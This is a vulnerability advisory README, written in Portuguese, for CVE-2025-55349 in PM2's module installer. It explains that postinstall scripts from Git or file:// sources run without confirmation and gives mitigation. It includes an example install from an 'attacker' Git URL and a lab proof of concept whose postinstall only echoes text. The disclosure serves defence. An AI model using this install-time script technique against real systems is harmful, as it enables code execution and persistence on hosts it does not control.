
Repositório para CVE-2025-55349
postinstallDescobridor: Golden Ticket Labs
Fornecedor: Unitech (pm2)
Data de Atribuição: 20 de agosto de 2025 (MITRE)
Uma falha no componente lib/API/Modules/NPM.js do Unitech PM2 v5.4.2 permite execução arbitrária de código por meio da instalação de pacotes com scripts postinstall elaborados.
O PM2 executa automaticamente scripts de ciclo de vida postinstall de instalações baseadas em Git ou de arquivos locais, sem sandboxing nem confirmação do usuário, inclusive quando invocado por meio de:
Essa vulnerabilidade persiste mesmo que o módulo esteja quebrado ou não funcional, e o código do atacante pode sobreviver a reinicializações do sistema quando registrado como um módulo de inicialização (boot) do PM2. Versões Afetadas
≤ 5.4.2 — Vulnerável
6.0.5 — Corrigido — lógica de análise de Git removida (PR #5909), mas a correção não foi documentada e não consta nos changelogs.
Vetor de Ataque
Um atacante pode preparar um repositório Git malicioso com um package.json contendo um script postinstall elaborado. Quando instalado por meio do PM2, o script é executado automaticamente:
pm2 install https://github.com/attacker/malicious-module.git
Impacto
Execução de código controlado pelo atacante no momento da instalação
Persistência por meio de módulos de inicialização (boot) gerenciados pelo PM2
Potencial movimento lateral em ambientes que usam instalações compartilhadas ou via script
Detalhes Técnicos
O PM2 trata repositórios Git como implicitamente confiáveis durante a instalação de módulos. Scripts de ciclo de vida, como o postinstall, são executados sem sandboxing, visibilidade ou confirmação.
Isso afeta tanto URLs Git remotas quanto caminhos locais file://, ampliando significativamente a superfície de ataque. Como os módulos do PM2 geralmente iniciam na inicialização do sistema, o risco de persistência e de comportamento não autorizado embutido é alto. Mitigação
Atualize para o PM2 v6.0.5 ou superior, onde a lógica de análise de Git foi removida.
Evite instalar módulos de fontes Git não confiáveis.
Prova de Conceito (Somente Laboratório)
⚠️ Nenhum código de exploit armado é fornecido. Esta é uma demonstração segura.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
Em versões vulneráveis, o comando postinstall é executado imediatamente. Referências
Commit da correção (remoção da lógica de análise de Git)
Lançamento do PM2 v6.0.5 Licença e Aviso Legal
Todo o conteúdo deste repositório é fornecido apenas para fins educacionais e defensivos. Nenhum payload de exploit está incluído. Não use estas técnicas contra sistemas sem autorização explícita. Contato
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com